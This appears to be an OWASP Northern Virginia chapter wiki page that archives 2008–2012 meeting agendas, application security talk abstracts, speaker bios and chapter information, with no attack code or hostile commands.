"Password Storage Security" [[Media:PSM_-_Problem_Definition.pdf|Password Storage Security.pdf]]

'''Abstract:'''
During the June meeting we discussed the LinkedIn password theft which was just beginning its the news cycle. We'll use the July chapter meeting to discuss issues around password hashing and a solution. While wholly different schemes for protecting passwords at rest are preferable, it's instructive to look at hashing passwords as a threat modeling exercise and take the time to follow through to a fix.

To read up on the issue, look at my latest blog post on the topic: [http://goo.gl/sGyi8|Justice League Blog - Securing Password Storage]

For those who were sufficiently intrigued, mystified, or inspired by the presentation on password protection at the last chapter meeting, Coursera is offering a free 6-week Stanford course on cryptography that begins on August 27th ("Learn about the inner workings of cryptographic primitives and how to apply this knowledge in real-world applications!"): [https://www.coursera.org/course/crypto|Crypto Course]

'''Speaker Bio:'''

See [https://www.owasp.org/index.php/John_Steven| John Steven Bio]

----

=== June 2012 ===
'''Date/Time:''' June 7th, 2012 @ 6:30pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''AGENDA:'''
* News / Updates
* Talk: Ken Johnson (LivingSocial) - "AppSec, Ritalin, and Failing Fast"
* Firetalks!

'''Presentation Title:'''
"AppSec, Ritalin, and Failing Fast" [https://www.owasp.org/images/e/e9/Ken_Johnson_July_2012.pptx AppSec, Ritalin, and Failing Fast Presentation]

'''Abstract:'''
In early April Ken Johnson and Matt Ahrens presented a high-level overview of building an Application Security program at LivingSocial. This talk will differ in that it will focus on the granular aspects involved with introducing security into an incredibly intense development environment. The discussion will be compromised of experiences in:
* Developing technical solutions to solving difficult challenges
* Remaining proactive with an increased workload
* What it means to innovate

'''Speaker Bio:'''

Ken Johnson is the Application Security Manager for LivingSocial.com. Prior to joining LivingSocial.com, Ken worked in various application security consulting roles. Ken is the primary developer of the Web Exploitation Framework (wXf) and enjoys contributing to other open source projects as often as time permits. Ken has spoken at AppSec DC 2010 & 2012, OWASP DC and Phoenix chapters and is a member of the Attack Research Team.

----

=== May 2012 ===
'''Date/Time:''' May 3rd, 2012 @ 6pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA

'''AGENDA:'''
* News / Updates
* "Chill Out" conversations (formal talked pushed back due to logistical issues)

----

=== April 2012 ===
'''Date/Time:''' April 16th, 2012 @ 6pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA

'''Food Sponsor:''' Jeremy Long - jeremy.long[at]owasp.org

'''AGENDA:'''
* News / Updates
* Talk: "Malicious Code Detection or BRIC Breaking Through Static Analysis" by Masha Khainson (Cigital)
* Firetalks!
* ISSA NoVA Social @Champps! :)

'''Presentation Title:''' "Malicious Code Detection or BRIC Breaking Through Static Analysis"

'''Abstract:'''
Malicious Code Detection or BRIC Breaking Through Static Analysis: As organizations outsource development to less trustworthy providers malware becomes as much a problem as introduction of honest vulnerability by one's own development shop. Assessment practices currently look for vulnerability within source code and a running systems but these are but a few of windows of opportunity for malware introduction. This presentation demonstrates an approach for augmenting an existing security practice with the capability to detect potentially malicious code through secure code review. First, we show how to break malicious intent--often quite subtle--into concrete patterns we can reliably detect. The framework then demonstrates how to build suspicion around reliance of particular patterns' use in concert which, increasingly, imply malicious intent. These techniques will be explained through a demonstration in a real world application.

'''Bio'''
Masha (a.k.a Marina) has dreamed of becoming a security consultant before she ever knew what a ballerina was, and that's a good thing - because she does not intend her talk to be a ballet recital. Having been in software security for over seven years, Ms. Khainson has delivered Architecture Risk Assessment, Secure Code Review, and Ethical Hacking on many architectures, platforms and technologies. Marina has also developed training materials for clients and led remediation assistance teams.

Prior to joining Cigital, Marina was a member of a research team at a leading security research provider, where using disassembly as well as protocol and source code analysis, she provided key information on newly released vulnerabilities. Before that, Marina assisted the same research team in producing detailed reports on critical malware and spyware threats, as well as developing and testing content for network security devices from some of the top providers of intrusion detection and prevention technologies.

Download: [[Media:MCD-OWASPNoVA.pdf|Malicious Code Detection or BRIC Breaking Through Static Analysis]]

----

=== November 2011 ===
'''Date/Time:''' November 3rd, 2011 @ 6pm

'''Location Sponsor:''' [http://www.qinetiq.com/ QinetiQ], 2677 Prosperity Ave Fairfax, VA 22031

'''AGENDA:'''
# News / Updates
# Talk: "Lessons Learned from the SQL Injection Challenge" by Ryan Barnett (Trustwave SpiderLabs)
# Firetalks! :)

'''Presentation Title:''' "Lessons Learned from the SQL Injection Challenge"

'''Abstract:'''
How effective are blacklist filters vs. SQL Injection attacks? What is the failure rate vs. automated scanning or manual testing? Are there any "Time-to-Bypass" metrics? In an attempt to answer these questions, Trustwave SpiderLabs' Research Team (the development team behind the ModSecurity WAF and the OWASP ModSecurity Core Rule Set) held a community "SQL Injection Challenge" to test the effectiveness of the OWASP ModSecurity Core Rule Set protections. This presentation will provide an overview of the challenge, a step-by-step walk-through of the bypass tactics used by the winners, as well as, present a new approach to attack detection using ModSecurity's Lua API to perform Bayesian analysis.

'''Speaker Bio:'''
[mailto:ryan.barnett@owasp.org Ryan C. Barnett] (Twitter: [http://twitter.com/#!/ryancbarnett @ryancbarnett]) is a senior security researcher on Trustwave's SpiderLabs Team. He is a SANS Institute certified instructor and a member of both the Top 20 Vulnerabilities and CWE/SANS Top 25 Most Dangerous Programming Errors teams. In addition to working with SANS, he is also a WASC Member where he leads the Web Hacking Incidents Database (WHID) and Distributed Web Honeypots Projects and is also the OWASP ModSecurity Core Rule Set (CRS) project leader. Mr. Barnett has also authored a Web security book for Addison/Wesley Publishing entitled "Preventing Web Attacks with Apache".

----

=== October 2011 ===
'''Date/Time:''' October 6th, 2011 @ 6pm

'''Location/Food Sponsor:''' [http://www.cigital.com/ Cigital], 21351 Ridgetop Circle, Suite 400, Sterling, VA 20166

'''AGENDA:'''
* News / Updates
* AppSec USA 2011 Recap
* Talk: Jack Mannino: [http://www.slideshare.net/JackMannino/owasp-top-10-mobile-risks "OWASP Top 10 Mobile Risks"]
* Firetalks! :)

=== September 2011 ===

The September meeting was cancelled due to inclement weather (flash flooding).

----

=== August 2011 ===

We held a "social" event at Sweetwater Tavern in Sterling, VA.

----

=== July 2011 ===

'''Date/Time:''' July 7th, 2011 @ 6pm<br> '''Location Sponsor:''' [http://www.cigital.com Cigital], Suite 400 21351 Ridgetop Circle, Dulles, VA, 20166<br> '''Food Sponsor:'''<br> '''AGENDA:'''

* News / Updates
* Topic of the Month: iGoat - Ken Van Wyk

----

=== June 2011 ===

'''Date/Time:''' June 9th, 2011 @ 6pm (*Note: 2nd Thursday of June!)<br> '''Location Sponsor:''' [http://about.collegeboard.org/ The College Board], 11955 Democracy Drive Reston, VA 20190<br> '''Food Sponsor:''' The College Board<br> '''AGENDA:'''

* News / Updates
* Topic of the Month: [https://www.owasp.org/index.php/Top_10_2010-A4 A4 "Insecure Direct Object References"]
* College Board Speaker: "Attack-in-Depth: Exploits of the OWASP Top Ten in Action"
* Firetalks! :)
- Jack Mannino: "Android Security 101"
- Others!

----

=== May 2011 ===

'''Date/Time:''' Cinco de Mayo (May 5th), 2011 @ 6pm <br> '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset Hills Dr, Suite 250, Reston, VA 20190<br> '''Food Sponsor:''' Akamai<br> '''AGENDA:'''

* News / Updates
* 2011 Election (voice vote on the entire slate)
* Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A3 A3 "Broken Authentication and Session Management"]
* Speaker: Steve Witmer on A3 from the "breakers" perspective
* Speaker: ??? on A3 from the "fixers/defenders" perspective
* Firetalks! :)
* '''Update:''' All election candidates were elected by voice vote.
* Please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&authkey=CIS9zFM '11 Chapter Board Election Material]

----

=== April 2011 ===

'''Date/Time:''' April 7, 2011 @ 6pm <br> '''Location Sponsor:''' [http://www.reversespace.com/ ReverseSpace], 13505 Dulles Technology Dr, Suite 3, Herndon, VA 20171 <br> '''Food Sponsor:''' [https://www.cigital.com Cigital]<br> '''AGENDA:'''

* News / Updates
* 2011 Election
* Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A2 A2 "Cross-Site Scripting (XSS)"]
* Preso:"Cross-Site Scripting is Not Your Friend: XSS and the Facebook Platform" by Joey Tyson ([https://www.owasp.org/images/9/92/Xssnotfriend-edited.pptx PPTX] or [https://www.owasp.org/images/0/06/Xssnotfriend-edited.pdf PDF])
* Preso:“XSS Remediation” by Cassia Martin ([https://www.owasp.org/images/6/66/XSS_Remediation.ppt PPT])
* Preso:"Growing the secure application developer community through expanded curricula" by Tony Gottlieb
* FireTalks (bring it!)

----

=== March 2011 ===

'''Date/Time:''' March 3, 2011 @ 6pm <br> '''Location Sponsor:''' [http://www.boozallen.com/ Booz Allen Hamilton], 13200 Woodland Park Road, Herndon, VA 20171 <br> '''AGENDA:'''

* News / Updates
* [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011] In Review
* Preso: [http://www.owasp.org/index.php/Top_10_2010-A1-Injection A1 "Injection"]
* Briefing: Training/Preso Plan for the Year

----

=== February 2011 ===

'''Date/Time:''' February 3, 2011 @ 6pm<br> '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset HIlls Dr, Suite 250, Reston, VA 20190<br> '''AGENDA:'''

* News / Updates
* Feedback for [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011]
* Preso: Intro to [http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project OWASP Top 10] + 2
* Briefing: Training/Preso Plan for the Year

----

=== December 2010 ===

'''Date/Time:''' December 2, 2010 @ 6pm<br> '''Location Sponsor:''' [http://hackerspaces.org/wiki/Reverse_Space ReverseSpace], 13505 Dulles Technology Drive, Herndon, VA<br> '''AGENDA:'''

* 2011 Planning Session (Schedule, Volunteers, Speakers, Topics)
* Lightning Talks!! (Bring an idea, a question, a topic, whatever - 5-10 minute talks max!)
* Social / Networking (BYOB!)

----

=== November 2010 ===

'''Date/Time:''' November 4, 2010 @ 6pm<br> '''Location Sponsor:''' Akamai, 11111 Sunset Hills Rd, Suite #250, Reston, VA<br> '''Speaker:''' Ben Tomhave<br> '''Title:''' The Unintended Consequences of Beating Users with Carrot Sticks: Radical Thoughts on Security Reform<br> '''Description:''' What we're doing today is not working and isn't sustainable. The fundamental culture of the average business does not encourage making good security decisions. Software shops continue to focus on functionality and timelines, neglecting information security. In spite of regulations like PCI and HIPAA+HITECH, which are levying fines against organizations for their security failures, the tipping point has clearly not been reached to cause meaningful change. Much of this problem can be attributed to the excessive use of negative incentives (sticks) instead of providing positive incentives (carrots) that inspire better decision making and motivate true change. Fortunately, it's not too late to change tactics and start achieving demonstrable success.<br> '''Speaker Bio:''' Ben Tomhave is a Senior Security Analyst with Gemini Security Solutions in Chantilly, VA, specializing in solutions architecture, security planning, program development and management, and other strategic security solutions. He holds a MS in Engineering Management with an Information Security Management concentration from The George Washington University and is a CISSP.

----

=== June 2010 ===

'''DATE''': Thursday, June 3rd, 6pm Eastern Daylight Time<br> '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171<br> '''SPEAKER''': Alex Hutton, Verizon Business and http://www.newschoolsecurity.com/<br> '''TOPIC''': Risk Management - Time to blow it up and start over?<br>

'''DESCRIPTION''':

A redux of the presentation that Alex delivered at B-Sides San Francisco during RSA 2010. "Now that the industry is trying to formalize the concept of risk management into neat little compartments like standards (ISO 27005/31000), certifications (CRISC) and products (GRC) guess what? We're doing it wrong. Fundamentally wrong. This talk will discuss why all this current risk management stuff is goofy and what sort of alternatives we have that might help us understand our ability to protect, our tendency towards failure, and how to match that up with what management will stomach."

Slides are available from: [http://www.slideshare.net/BSides/risk-management-time-to-blow-it-up-and-start-over-alex-hutton Risk Management - Time to blow it up and start over?]

<br> '''SPECIAL SPEAKER''':

[http://twitter.com/tiffanyrad Tiffany Rad] provided an overview and update on [http://twitter.com/reversespace Reverse Space] in Herndon, VA. For more information, or to help out, please join the [http://groups.google.com/group/ReverseSpace Reverse Space Google Group].

----

=== May 2010 ===

'''DATE''': Tuesday, May 18th, 6pm Eastern Daylight Time<br> '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171<br> '''SPEAKER'''': Jeff Ennis, Senior Solutions Architect, Veracode<br> '''TITLE''': State of Software Security ([[Media:State of Software Security-Ennis.ppsx.zip]])
'''DESCRIPTION''':
A discussion of the current state of software security based on the compiled findings by Veracode from the dynamic and static code analysis they have performed for customers.

----

=== September 2009 ===

'''DATE''': Thursday, September 17, 2009. 6:00pm Eastern Daylight Time<br> '''LOCATION''': 22260 Pacific blvd, Sterling, VA. 20166<br> '''TOPIC''': "Fortify 360"<br> '''SPEAKER''': Erik Klein (Fortify Software), Eric Dalci (Cigital)<br> '''DESCRIPTION''':

We're pleased to invite you to our next week's OWASP Session (Thursday September 17th). We will be hosting a presentation, demo and hands on session of Fortify 360 (http://www.fortify.com). Fortify 360 includes Fortify SCA (Source Code Analyzer) and the Fortify 360 Server which is Fortify's solution for an enterprise deployment of SCA. The session will start with a presentation by Fortify engineers, followed by a demo and finally a hands on session where the audience will be free to install Fortify SCA on the machine and try it the SCA tool on a sample application that we will provide. The audience will also be introduced with the Fortify 360 Server and try some of the enterprise level features such as collaborative code review, metrics and so on. Bring your laptop if you want to try Fortify 360!

The target audience is anyone interested in Secure Code Review with a Static Analysis tool at the desktop level and/or enterprise level. We will need to register visitors before hand...please email wade.woolwine@owasp.org for registration and confirm attendance. Pizza and refreshments will be served.

'''DATE''': Thursday, September 3, 2009. 6:00pm.<br> '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171<br> '''TOPIC''': "Conducting Application Assessment"<br> '''SPEAKER''': Jeremy Epstein, SRI<br> '''DESCRIPTION''':

After the 2000 election, many states launched headlong into electronic voting systems to avoid the problems with "hanging chads". Once problems with those systems started appearing, many localities started moving to optical scan, which was used by a majority of US voters in the 2008 election. There are other technologies in use around the country, including lever machines, vote-by-mail, vote-by-phone, and Internet voting. What are the tradeoffs among these technologies? Particularly relevant to OWASP, what are the security issues associated with different types of equipment, and what measures do vendors of voting equipment use to try to address the security problems? Are software security problems important, or can non-technical measures protect against them? In this talk, we'll discuss a wide variety of voting technologies, and their pros and cons from both a technical and societal perspective.

'''ABOUT THE SPEAKER''':

Jeremy Epstein is Senior Computer Scientist at SRI International. His background includes more than 20 years experience in computer security research, product development, and consulting. Prior to joining SRI International, he was Principal Consultant with Cigital, and before that spent nine years as Senior Director of Product Security at Software AG, an international business software company. Within the area of voting systems, Jeremy has been involved for over five years in voting technology and advocacy, both as an employee and as an independent consultant.

----

=== July 2009 ===

'''DATE''': July 9th 6pm-9pm EST<br> '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171<br> '''TOPIC''': "Ounce's 02"<br> '''SPEAKER(S)''': Dinis Cruz, OWASP, Ounce Labs.<br> '''DESCRIPTION''': So what is O2?

Well in my mind O2 is a combination of advanced tools (Technology) which are designed to be used on a particular way (Process) by knowledgeable Individuals (People)

Think about it as a Fighter Jet who is able to go very fast, has tons of controls, needs to be piloted by somebody who knows what they are doing and needs to have a purpose (i.e. mission).

Basically what I did with O2 was to automate the workflow that I have when I'm engaged on a source-code security review.

Now, here is the catch, this version is NOT for the faint-of-heart. I designed this to suit my needs, which although are the same as most other security consultants, have its own particularities :)

The whole model of O2 development is based around the concept of automating a security consultant’s brain, so I basically ensure that the main O2 Developer (Dinis Cruz) has a very good understanding of the feature requirements of the targeted Security Consultant (Dinis Cruz) :) . And this proved (even to my surprise) spectacularly productive, since suddenly I (i.e. the security consultant) didn't had to wait months for new features to be added to its toolkit. If there was something that needed to be added, it would just be added in days or hours.

----

=== June 2009 ===

''Gary McGraw, Cigital Inc.'':''Building Security In Maturity Model''<br> Later, an interview: ''Jim Routh, formerly of DTCC'':''The Economic Advantages of a Resilient Supply Chain- Software Security'' ''<br>''

Gary McGraw talked about the experience he, Sammy Migues, and Brian Chess gained conducting a survey of some of America's top Software Security groups. Study results are available under the [http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Share Alike license] at [http://www.bsi-mm.com www.bsi-mm.com]. Gary described the common structural elements and activities of successful software security programs, present the maturity model that resulted from survey data, and discuss lessons learned from listening to those leading these groups.

Jim Routh gave an incredibly insightful interview regarding his own experiences crafting their security group.

Download presentation notes at: [http://www.owasp.org/images/0/03/JMR-Economics_of_Security_Goups.ppt The Economic Advantages of a Resilient Supply Chain- Software Security]

----

=== May 2009 ===

''Eric Dalci, Cigital Inc.'':''Introduction to Static Analysis''<br> Later, a panel:

*Steven Lavenhar, Booz Allen Hamilton;
*Eric Dalci, Cigital Inc.

Panel moderated by John Steven <br>

This session is an introductory to Static Analysis. This session presents the different types of analysis used by today's Static Analysis tools. Examples of direct application to find vulnerabilities will be shown (ex: Data Flow Analysis, Semantic, Control Flow, etc.). Current limitations of Static Analysis will also be exposed. This session is tool agnostic, but will cover the approach taken by various leading commercial (as well as open-source) tools.

Download: [http://www.owasp.org/images/e/ea/OWASP_Virginia_Edalci_May09.pdf Intro to Static Analysis]

----

=== April 2009 ===

''Jeremiah Grossman, Whitehat Security'': '''Top 10 Web Hacking Techniques 2008'''<br> Jeremiah Spoke on (what he and colleagues determined were the) top ten web hacking techniques of 2008. This talk was a preview of his RSA '09 talk.<br>

Download http://www.whitehatsec.com/home/assets/presentations/09PPT/PPT_OWASPNoVA04082008.pdf

<br> Later,

*Nate Miller, Stratum Security;
*Jeremiah Grossman, Whitehat Security;
*Tom Brennan, Whitehat Security; and
*Wade Woolwine, AOL

served as penetration testing panels answering questions posed and moderated by Ken Van Wyk.

----

=== February 2009 ===

''Ryan C. Barnett, Breach Security'': '''Patching Challenge: Securing WebGoat with ModSecurity'''

Identification of web application vulnerabilities is only half the battle with remediation efforts as the other. Let's face the facts, there are many real world business scenarios where it is not possible to update web application code in either a timely manner or at all. This is where the tactical use-case of implementing a web application firewall to address identified issues proves its worth.

This talk will provide an overview of the recommended practices for utilizing a web application firewall for virtual patching. After discussing the framework to use, we will then present a very interesting OWASP Summer of Code Project where the challenge was to attempt to mitigate as many of the OWASP WebGoat vulnerabilities as possible using the open source ModSecurity web application firewall. During the talk, we will discuss both WebGoat and ModSecurity and provide in-depth walk-throughs of some of the complex fixes. Examples will include addressing not only attacks but the underlying vulnerabilities, using data persistence for multiple-step processes, content injection and even examples of the new LUA programming language API. The goal of this talk is to both highlight cutting edge mitigation options using a web application firewall and to show how it can effectively be used by security consultants who traditionally could only offer source code fixes.

Ryan C. Barnett is the Director of Application Security Research at Breach Security and leads Breach Security Labs. He is also a Faculty Member for the SANS Institute, Team Lead for the Center for Internet Security Apache Benchmark Project and a Member of the Web Application Security Consortium where he leads the Distributed Open Proxy Honeypot Project. Mr. Barnett has also authored a web security book for Addison/Wesley Publishing entitled "Preventing Web Attacks with Apache."

(This talk is a preview of Ryan's talk at Blackhat Federal the following week - see https://www.blackhat.com/html/bh-dc-09/bh-dc-09-speakers.html#Barnett )

Download [[Media:Virtual_Patching_Ryan_Barnett_Blackhat_Federal_09.zip|WAF Virtual Patching Challenge: Securing WebGoat with ModSecurity]]

''John Steven, Cigital'': '''Moving Beyond Top N Lists'''

Download [[Media:Moving_Beyond_Top_N_Lists.ppt.zip|Moving Beyond Top N Lists]]

<br> Cigital published an article: The Top 11 Reasons Why Top 10 (or 25) Lists Don’t Work. Yet, these lists are a staple of conference abstracts, industry best practice lists, and the like. Are they good or bad? We’ll explore how to get beyond the Top 10 (or 25) list in making your software security effort real.

John is Senior Director, Advanced Technology Consulting at Cigital. His experience includes research in static code analysis and hands-on architecture and implementation of high-performance, scalable Java EE systems. John has provided security consulting services to a broad variety of commercial clients including two of the largest trading platforms in the world and has advised America's largest internet provider in the Midwest on security and forensics. John led the development of Cigital's architectural analysis methodology and its approach to deploying enterprise software security frameworks. He has demonstrated success in building Cigital's intellectual property for providing cutting-edge security. He brings this experience and a track record of effective strategic innovation to clients seeking to change, whether to adopt more cutting-edge approaches, or to solidify ROI. John currently chairs the SD Best Practices security track and co-edits the building security in department of IEEE's Security and Privacy magazine. John has served on numerous conference panels regarding software security, wireless security and Java EE system development. He holds a B.S. in Computer Engineering and an M.S. in Computer Science from Case Western Reserve University.

----

=== January 2009 ===

To kick off 2009, our January meeting featured a discussion of the relationship between application security and CMMI, and an overview of the OWASP ASVS project.

''Michele Moss, Booz Allen Hamilton'': '''Evolutions In The Relationship Between Application Security And The CMMI'''

Addressing new and complex threats and IT security challenges requires repeatable, reliable, rapid, and cost effective solutions. To implement these solutions, organizations have begun to align their security improvement efforts with their system and software development practices. During a “Birds of a Feather” at the March 2007 SEPG, a group of industry representatives initiated an effort which led to the definition of assurance practices that can be applied in the context of the CMMI. This presentation will provide an understanding how applying the assurance practices in the context of security contribute to the overall increased quality of products and services, illustrate how the a focus on assurance in the context of CMMI practices is related to application security practices, and present and approach to evaluate and improve the repeatability and reliability of assurance practices.

Michele Moss, CISSP, is a security engineer with more than 12 years of experience in process improvement. She specializes in integrating assurance processes and practices into project lifecycles. Michele is the Co-Chair of the DHS Software Assurance Working Group on Processes & Practices. She has assisted numerous organizations with maturing their information technology, information assurance, project management, and support practices through the use of the capability maturity models including the CMMI, and the SSE-CMM. She is one of the key contributors in an effort to apply an assurance focus to CMMI.

Slides available: [[Media:Moss-AppSecurityAndCMMI.pdf|Evolutions In The Relationship Between Application Security And The CMMI]]

''Mike Boberski, Booz Allen Hamilton'': '''About OWASP ASVS'''

The primary aim of the OWASP ASVS Project is to normalize the range of coverage and level of rigor available in the market when it comes to performing application-level security verification. The goal is to create a set of commercially-workable open standards that are tailored to specific web-based technologies.

Mike Boberski works at Booz Allen Hamilton. He has a background in application security and the use of cryptography by applications. He is experienced in trusted product evaluation, security-related software development and integration, and cryptomodule testing. For OWASP, he is the project lead and a co-author of the OWASP Application Security Verification Standard, the first OWASP standard.

Slides available: [[Media:About_OWASP_ASVS_Web_Edition.ppt|About OWASP ASVS]]

----

=== November 2008 ===

For our November 2008 meeting, we had two great presentations on software assurance and security testing.

''Nadya Bartol, Booz Allen Hamilton'': '''Framework for Software Assurance'''

Nadya's presentation will provide an update on the Software Assurance Forum efforts to establish a comprehensive framework for software assurance (SwA) and security measurement. The Framework addresses measuring achievement of SwA goals and objectives within the context of individual projects, programs, or enterprises. It targets a variety of audiences including executives, developers, vendors, suppliers, and buyers. The Framework leverages existing measurement methodologies, including Practical Software and System Measurement (PSM); CMMI Goal, Question, Indicator, Measure (GQ(I)M); NIST SP 800-55 Rev1; and ISO/IEC 27004 and identifies commonalities among the methodologies to help organizations integrate SwA measurement in their overall measurement efforts cost-effectively and as seamlessly as possible, rather than establish a standalone SwA measurement effort within an organization. The presentation will provide an update on the SwA Forum Measurement Working Group work, present the current version of the Framework and underlying measures development and implementation processes, and propose example SwA measures applicable to a variety of SwA stakeholders. The presentation will update the group on the latest NIST and ISO standards on information security measurement that are being integrated into the Framework as the standards are being developed.

Slides available: [http://www.epsteinmania.com/owasp/Bartol-MeasurementForOWASP11-13-08.pdf Framework for Software Assurance]

''Paco Hope, Cigital'': '''The Web Security Testing Cookbook'''

The Web Security Testing Cookbook (O'Reilly & Associates, October 2008) gives developers and testers the tools they need to make security testing a regular part of their development lifecycle. Its recipe style approach covers manual, exploratory testing as well automated techniques that you can make part of your unit tests or regression cycle. The recipes cover the basics like observing messages between clients and servers, to multi-phase tests that script the login and execution of web application features. This book complements many of the security texts in the market that tell you what a vulnerability is, but not how to systematically test it day in and day out. Leverage the recipes in this book to add significant security coverage to your testing without adding significant time and cost to your effort.

Congratulations to Tim Bond who won an autographed copy of Paco's book. Get your copy here [[http://www.amazon.com/Security-Testing-Cookbook-Paco-Hope/dp/0596514832]]

Slides available: [http://www.epsteinmania.com/owasp/PacoHope-WebSecCookbook.pdf The Web Security Testing Cookbook]

----

=== October 2008 ===

For our October 2008 meeting, we had two fascinating talks relating to forensics.

''Dave Merkel, Mandiant'': '''Enterprise Grade Incident Management - Responding to Persistent Threats'''

Dave Merkel is Vice President of Products at Mandiant, a leading provider of information security services, education and products. Mr. Merkel has worked in the information security and incident response industry for over 10 years. His background includes service as a federal agent in the US Air Force and over 7 years experience directing security operations at America Online. He currently oversees the product business at Mandiant, and is in charge of building Mandiant Intelligent Response - an enterprise incident response solution. But no, he won't be selling you anything today.

Slides available: [http://www.epsteinmania.com/owasp/Mandiant-EnterpriseIRandAPTpresentation.pdf Enterprise Grade Incident Management - Responding to Persistent Threats]

''Inno Eroraha, NetSecurity'': '''Responding to the Digital Crime Scene: Gathering Volatile Data'''

Inno Eroraha is the founder and chief strategist of NetSecurity Corporation, a company that provides digital forensics, hands-on security consulting, and Hands-on How-To® training solutions that are high-quality, timely, and customer-focused. In this role, Mr. Eroraha helps clients plan, formulate, and execute the best security and forensics strategy that aligns with their business goals and priorities. He has consulted with Fortune 500 companies, IRS, DHS, VA, DoD, and other entities.

Slides available: [http://www.epsteinmania.com/owasp/NetSecurity-RespondingToTheDigitalCrimeScene-GatheringVolatileData-TechnoForensics-102908.pdf Responding to the Digital Crime Scene: Gathering Volatile Data]

=== History ===

The original DC Chapter was founded in June 2004 by [mailto:jeff.williams@owasp.org Jeff Williams] and has had members from Virginia to Delaware. In April 2005 a new chapter, OWASP Washington VA Local Chapter, was formed and the DC Chapter was renamed to DC-Maryland. The two are sister chapters and include common members and shared discourse. The chapters meet in opposite halves of the month to facilitate this relationship.

==== Chapter Groups ====

Within the chapter, various common interests spring up. We've created Google groups to manage collaboration amongst participants for these topics. Feel free to join and participate in:

*[http://groups.google.com/group/novaowasp_threatmodeling Threat Modeling]
*[http://groups.google.com/group/novaowasp_mobile Mobile]

=== OWASP NoVa Members On Twitter ===

Mike McCabe [http://twitter.com/mccabe615 http://twitter.com/mccabe615]

John Steven [http://twitter.com/m1splacedsoul http://twitter.com/m1splacedsoul]

Jack Mannino [http://twitter.com/jack_mannino http://twitter.com/jack_mannino]

Ben Tomhave [http://twitter.com/falconsview http://twitter.com/falconsview]

Ken Johnson [http://twitter.com/cktricky http://twitter.com/cktricky]

Mike Smith [http://twitter.com/rybolov http://twitter.com/rybolov]

Trevor Hawthorn [http://twitter.com/packetwerks http://twitter.com/packetwerks]

Jeremy Long [http://twitter.com/ctxt http://twitter.com/ctxt]

Ari Elias-Bachrach [http://twitter.com/angelofsecurity http://twitter.com/angelofsecurity]

Venkat Sundaram [http://twitter.com/Vnk3889 http://twitter.com/Vnk3889]

==== Knowledge ====

The Northern Virginia (NoVA) chapter is committed to compiling resources on interesting and valuable topic areas. We hope that this structure helps you access information pertinent to your tasks at hand as you move through a secure application development life cycle. Currently, our topic areas of focus include activities such as:

*Threat Modeling
*[[Code Review and Static Analysis with tools]]
*Penetration Testing and Dynamic Analysis tools
*Monitoring/Dynamic patching (WAFs)

Certain projects our members are involved in cross-cut these activities, providing value throughout. They include:

*ASVS

=== Static Analysis Curriculum ===

*For an introduction to the OWASP Static Analysis (SA) Track goals, objectives, and session roadmap, please see [http://www.owasp.org/index.php/Image:OWASP_NoVA_SA_Track_Final_20090408.ppt this presentation].

The following is the agenda of the OWASP Static Analysis track roadmap for the [http://www.owasp.org/index.php/Virginia_(Northern_Virginia) Northern Virginia Chapter].

[[Image:Owasp SAtrack plan.png|OWASP Static Analysis Roadmap - Northern Virginia Chapter 2009]]

'''Contacts'''<br> Questions related to this curriculum should be sent to [mailto:John.Steven@owasp.org John Steven], who is the Northern Virginia chapter leader.

<br>

=== Flash Talk Resources ===

Chandu Ketkar on OFS. Download: [http://www.owasp.org/images/1/1c/OFS.pptx OFS Presentation.] <br> [http://jack-mannino.blogspot.com/ Jack Mannino] on Google and Searching for Personal Information <br> Jesse Ou on XML Bombs. Download: [http://www.owasp.org/images/1/18/OWASP_JOU_XML_DTD_Attacks.pptx XML DTD Presentation] <br>

__NOTOC__ <headertabs />

<paypal>Northern Virginia</paypal>

[[Category:OWASP Chapter]]
[[Category:United States]]
[[Category:Virginia]]
[[Category:Washington,_DC]]

Virginia

2016-01-11T22:09:38Z

Michael McCabe: Undo revision 206273 by Michael McCabe (talk)

==== About ====

[[Image:Owasp-nova.JPG|right|275px|Owasp-nova.JPG]]The '''OWASP Northern VA Local Chapter''' meetings are FREE and OPEN to anyone interested in learning more about application security. We encourage individuals to provide knowledge transfer via hands-on training and presentations of specific OWASP projects and research topics and sharing SDLC knowledge.

We the encourage vendor-agnostic presentations to utilize the OWASP Powerpoint template when applicable and individual volunteerism to enable perpetual growth. As a 501(3)c non-profit association donations of meeting space or refreshments sponsorship is encouraged, simply contact the local chapter leaders listed on this page to discuss. Prior to participating with OWASP please review the Chapter Rules.

The chapter is committed to providing an engaging experience for a variety of audience types ranging from local students and those beginning in app-sec, to those experienced and accomplished professionals who are looking for competent collaborators for OWASP-related projects. To this end, we will continue to conduct both monthly chapter meetings as well as out-of-band curricula, on application security topics.

{{Chapter Template|chaptername=Northern Virginia|extra =Come see us at a chapter meeting, jump on our Google Group, or email any of us directly.

=== 2015 Chapter Election Candidates ===
*Mike McCabe - Board Chair
**OWASP Membership ID: 020000901
**Endorsement - Jack Mannino, Current Board Chair
**Full Disclosure: Mike reports directly to me at our day job.
**Mike is one of the most ethical, hard working, and analytical people I've had the pleasure to meet. In his previous two years serving on the OWASP NoVa board, Mike has been instrumental in keeping a healthy pipeline of interesting speakers as well as helping carve out new initiatives based on chapter feedback. I fully vouch for both his character and his ability to run the chapter in an ethical, high quality manner.
*Akshay Sivananda
**OWASP Membership ID: 020000050
**Endorsement - Ping Ning, Chapter Member
